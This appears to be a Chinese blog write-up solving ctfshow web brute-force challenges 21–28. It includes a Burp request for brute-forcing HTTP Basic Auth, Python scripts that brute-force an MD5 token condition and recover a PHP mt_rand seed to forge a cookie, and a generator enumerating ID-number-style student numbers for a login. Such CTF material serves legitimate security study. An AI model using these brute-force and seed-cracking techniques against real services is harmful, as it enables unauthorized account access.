首页/文章/CTF WEB

ctfshow web入门之爆破

对于爆破板块的学习

学习不是为了征服世界,而是为了不辜负每一次好奇心的出发。

21

题目描述

爆破什么的,都是基操

alt text

使用 burp 抓包
alt text

alt text

可以看见我们提交的用户名密码经过了 base64 加密
构造请求

text
GET / HTTP/1.1Host: c970b85e-d288-47d5-9b8e-94d44250111c.challenge.ctf.showCache-Control: max-age=0Authorization: Basic <@base64>admin:pass</@base64>Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brConnection: keep-alive

alt text

alt text

23

题目描述

还爆破?这么多代码,告辞!

php
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date:   2020-09-03 11:43:51# @Last Modified by:   h1xa# @Last Modified time: 2020-09-03 11:56:11# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);include('flag.php');if(isset($_GET['token'])){    $token = md5($_GET['token']);    if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){        if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){            echo $flag;        }    }}else{    highlight_file(__FILE__);}?>

代码内容 php 详解
<?php 开始标记,声明之后交给 php 解释器执行
error_reporting(0); 关闭错误提示
include('flag.php'); 引入另一个 php 文件,一起执行
php 变量以 $ 开头
issetphp 内置函数,用来判断某个变量是否存在
$_GETphp 超级全局变量,用来接收 URL 里的参数,例如 http://example.com/index.php?token=abc , 那么 $_GET['token'] = 'abc'
$token = md5($_GET['token']); 创建了个 token 变量 ,变量内容是将传进来的 $_GET['token'] 转换成 md5
substr()php 内置函数,用来截取字符串,引用规范是 substr(字符串,起始位置,长度),这个函数返回字符串
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)) 即第二个字符严格等于第十五个字符,并且第十五个严格等于第十八个字符
== 普通相等,=== 严格相等,php 中普通相等会自动转换类型,严格相等意味着等式两边字符类型必须全部相同
intval 把内容转成整数

php
intval("123")      // 123intval("007")      // 7intval("12abc")    // 12intval("3.14")     // 3intval("-5")       // -5intval("abc")      // 0intval("a123")     // 0intval("")         // 0

highlight_file() php 内置函数,用来吧某个文件源码高亮显示到当前页面
__FILE__ 魔术常量,表示当前文件路径 那这道题我们需要构造一个 token 需要满足第 21518 严格相等并且第32位为3即可

python
import hashlibi = 0while True:    s = str(i)    token = hashlib.md5(s.encode()).hexdigest()    a = token[1]    b = token[14]    c = token[17]    d = token[31]    if a == b == c and a in "123456789" and d == "3":        print("token:", s)        break    i += 1

运行结果 422

alt text

24

题目描述

爆个🔨

php
<?phperror_reporting(0);include("flag.php");if(isset($_GET['r'])){    $r = $_GET['r'];    mt_srand(372619038);    if(intval($r)===intval(mt_rand())){        echo $flag;    }}else{    highlight_file(__FILE__);    echo system('cat /proc/version');}

mt_srand() 设置随机数种子的参数,种子相同,随机数序列相同,同时只要 PHP 版本和环境一致,第一个 mt_rand() 的结果通常都是固定的。

php
<?phpmt_srand(1);echo mt_rand() . "\n";echo mt_rand() . "\n";echo mt_rand() . "\n";echo mt_rand() . "\n";echo mt_rand() . "\n";mt_srand(1);echo mt_rand() . "\n";echo mt_rand() . "\n";echo mt_rand() . "\n";echo mt_rand() . "\n";echo mt_rand() . "\n";?>
bash
895547922214143806915468850622002651684245631895547922214143806915468850622002651684245631

那这道题种子固定,我们得到随机数值 1155388967

25

题目描述

爆个🔨,不爆了

php
<?phperror_reporting(0);include("flag.php");if(isset($_GET['r'])){    $r = $_GET['r'];    mt_srand(hexdec(substr(md5($flag), 0,8)));    $rand = intval($r)-intval(mt_rand());    if((!$rand)){        if($_COOKIE['token']==(mt_rand()+mt_rand())){            echo $flag;        }    }else{        echo $rand;    }}else{    highlight_file(__FILE__);    echo system('cat /proc/version');}
php
hexdec() //将十六进制字符串转换成十进制整数$_COOKIE['']//从 cookie 中取对应的值

我们首先依据 echo $rand; 反推种子

alt text

alt text

使用 php_mt_seed 工具,找到种子值

python
import requestsimport subprocessimport jsonurl = "http://78b907e0-74fc-4bcd-b9cf-df78a1c4cc9c.challenge.ctf.show/"php_path = r"D:\php-8.5.7-nts-Win32-vs17-x64\php.exe"seed = 3292911497php_code = f'''mt_srand({seed});$a = mt_rand();$b = mt_rand();$c = mt_rand();echo json_encode([    "a" => $a,    "b" => $b,    "c" => $c]);'''result = subprocess.check_output(    [php_path, "-r", php_code],    timeout=3)data = json.loads(result.decode())a = data["a"]b = data["b"]c = data["c"]print("a =", a)print("b =", b)print("c =", c)print("token =", b + c)cookies = {    "token": str(b + c)}res = requests.get(    url,    params={"r": str(a)},    cookies=cookies,    timeout=5)print(res.text)

alt text

26

题目描述

这个可以爆

alt text

alt text

点击安装,出现连接成功,我们在 bp 中抓包
alt text

res 中有 flag

27

题目描述

CTFshow菜鸡学院招生啦!

我们想办法获取学号

alt text

查看录取名单
alt text
查询抓包一下
alt text
alt text

进行爆破

python
from datetime import date, timedeltawith open("payload.txt", "w", encoding="utf-8", newline="\n") as f:    cur = date(1970, 1, 1)    end = date(2020, 12, 31)    while cur <= end:        f.write(f"360730{cur:%Y%m%d}7653\n")        cur += timedelta(days=1)

alt text

alt text

之后登录
alt text

28

题目描述

大海捞针

alt text

alt text

重定位到 /0/1/2.txt

text
301 和 302 都是重定向状态码301 为永久重定向  常见于http 跳 https不带 / 的目录跳到带 / 的目录旧域名跳新域名旧路径跳新路径302 为临时跳转常见于没登录,临时跳登录页访问根路径,临时跳指定页面权限不足,跳提示页CTF 题目用 302 做跳转逻辑

alt text

访问一个地址时,如果是 url/1/2 访问的是 1 目录下的一个资源叫 2 ,如果是 url/1/2/ 意思是访问的是 1 目录下的 2 目录,如果目录存在,一般跳转到这个目录的默认首页,如果不存在,一般返回 403

许可协议

本文采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议,转载请注明出处。

读者回信

正在翻开留言页...